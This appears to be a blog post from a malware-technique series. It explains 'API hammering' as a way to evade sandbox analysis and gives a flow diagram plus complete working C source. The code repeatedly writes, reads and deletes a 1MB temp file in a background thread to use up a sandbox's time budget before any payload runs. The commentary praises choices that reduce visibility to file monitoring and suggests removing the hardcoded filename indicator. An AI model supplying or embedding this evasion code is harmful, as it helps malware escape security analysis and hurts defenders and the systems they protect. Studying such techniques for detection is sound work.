Post

Anti-Virtual-APIHammering

Anti-Virtual-APIHammering

What is it?

Burns through a sandbox’s analysis time budget by repeatedly creating, writing, reading, and deleting a temporary file in a background thread. The loop runs with -1 as the stress count (UINT_MAX iterations), so it essentially runs forever in the background while the main thread waits.

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
main():
  CreateThread(NULL, NULL, APIHammering, -1, NULL, &dwThreadID)
  → Background thread starts
  → Main thread waits on getchar()

APIHammering(dwStress = 0xFFFFFFFF):

  GetTempPathW() → wcTmpPath
  Build path:    wcTmpPath + "N0xShell.tmp"

  for i = 0 to 0xFFFFFFFF:
  ┌─────────────────────────────────────────────┐
  │ CreateFileW(path, GENERIC_WRITE,            │
  │             CREATE_ALWAYS,                  │
  │             FILE_ATTRIBUTE_TEMPORARY)       │
  │                                             │
  │ HeapAlloc(1MB = 0xFFFFF bytes)              │
  │ Rand = rand() % 0xFF                        │
  │ memset(buffer, Rand, 1MB)  ← random fill   │
  │                                             │
  │ WriteFile(hWFile, buffer, 1MB)              │
  │ RtlZeroMemory(buffer)                       │
  │ CloseHandle(hWFile)                         │
  │                                             │
  │ CreateFileW(path, GENERIC_READ,             │
  │             FILE_FLAG_DELETE_ON_CLOSE)      │
  │ ReadFile(hRFile, buffer, 1MB)               │
  │                                             │
  │ RtlZeroMemory(buffer)                       │
  │ HeapFree(buffer)                            │
  │ CloseHandle(hRFile)  ← file auto-deleted   │
  └─────────────────────────────────────────────┘

Each loop iteration does 1MB of I/O (write + read). Sandboxes typically have a 2-5 minute window before they give up and mark the sample as benign. At the speeds a sandbox processes these calls, the loop burns through that window without the actual payload ever executing.

The FILE_ATTRIBUTE_TEMPORARY flag is a nice touch — it hints to Windows to keep the file in cache rather than flushing to disk, which makes the I/O faster and less visible to file monitoring tools. FILE_FLAG_DELETE_ON_CLOSE on the read handle means the temp file cleans itself up automatically, leaving no artifact.

The hardcoded filename N0xShell.tmp is an obvious IOC on the current implementation — a production version would randomize this.

api-hammering.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <Windows.h>
#include <stdio.h>

#define TMP L"N0xShell.tmp"
#define STRESSFACTOR(i) ((int)(i) * 196)

#define ERR(WinAPI) printf("[!] %s Failed With Error : %d \n", WinAPI, GetLastError())

BOOL APIHammering(_In_ DWORD dwStress) {

	WCHAR	wcPath[MAX_PATH * 2], wcTmpPath[MAX_PATH];
	HANDLE	hRfile = INVALID_HANDLE_VALUE;
	HANDLE	hWFile = NTE_INVALID_HANDLE;
	DWORD	dwNumBytesRead = 0;
	DWORD	dwNumBytesWritten = 0;
	PBYTE	pRandBuffer = NULL;
	SIZE_T	sBufferSize = 0xFFFFF;
	INT		Rand = 0;


	// Getting the fqdn tmp file path
	if (!GetTempPathW(MAX_PATH, wcTmpPath)) {
		ERR("GetTempPathW");
		return FALSE;
	}

	// Construct fqdn for tmp file name
	wsprintfW(wcPath, L"%s%s", wcTmpPath, TMP);

	for (SIZE_T i = 0; i < dwStress; i++) {

		// Create file in write mode
		if ((hWFile = CreateFileW(wcPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
			ERR("CreateFileW");
			return FALSE;
		}

		// Allocate memory on the heap and fill it with random stuff
		pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
		Rand = rand() % 0xFF;
		memset(pRandBuffer, Rand, sBufferSize);

		// Write random stuff into the temporate created file
		if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumBytesWritten, NULL) || dwNumBytesWritten != sBufferSize) {
			ERR("WriteFile");
			return FALSE;
		}

		// Cleaning up the Heap
		RtlZeroMemory(pRandBuffer, sBufferSize);
		CloseHandle(hWFile);

		// Open tmp file with read & delete mode when closed
		if ((hRfile = CreateFileW(wcPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
			ERR("CreateFileW");
			return FALSE;
		}

		// Read tmp file
		if (!ReadFile(hRfile, pRandBuffer, sBufferSize, &dwNumBytesRead, NULL) || dwNumBytesRead != sBufferSize) {
			ERR("ReadFile");
			return FALSE;
		}

		// Cleaning up
		RtlZeroMemory(pRandBuffer, sBufferSize);
		HeapFree(GetProcessHeap(), NULL, pRandBuffer);
		CloseHandle(hRfile);
	}
	
	return TRUE;
}


int main(void) {
	
	DWORD dwThreadID = 0;

	if (!CreateThread(NULL, NULL, APIHammering, -1, NULL, &dwThreadID)) {
		ERR("CreateThread");
		return -1;
	}

	printf("[+] Thread %d Created To Run APiHanmering in Background! \n", dwThreadID);

	printf("[+] Press <Enter> To Exit \n");
	getchar();

	return 0;
}
This post is licensed under CC BY 4.0 by the author.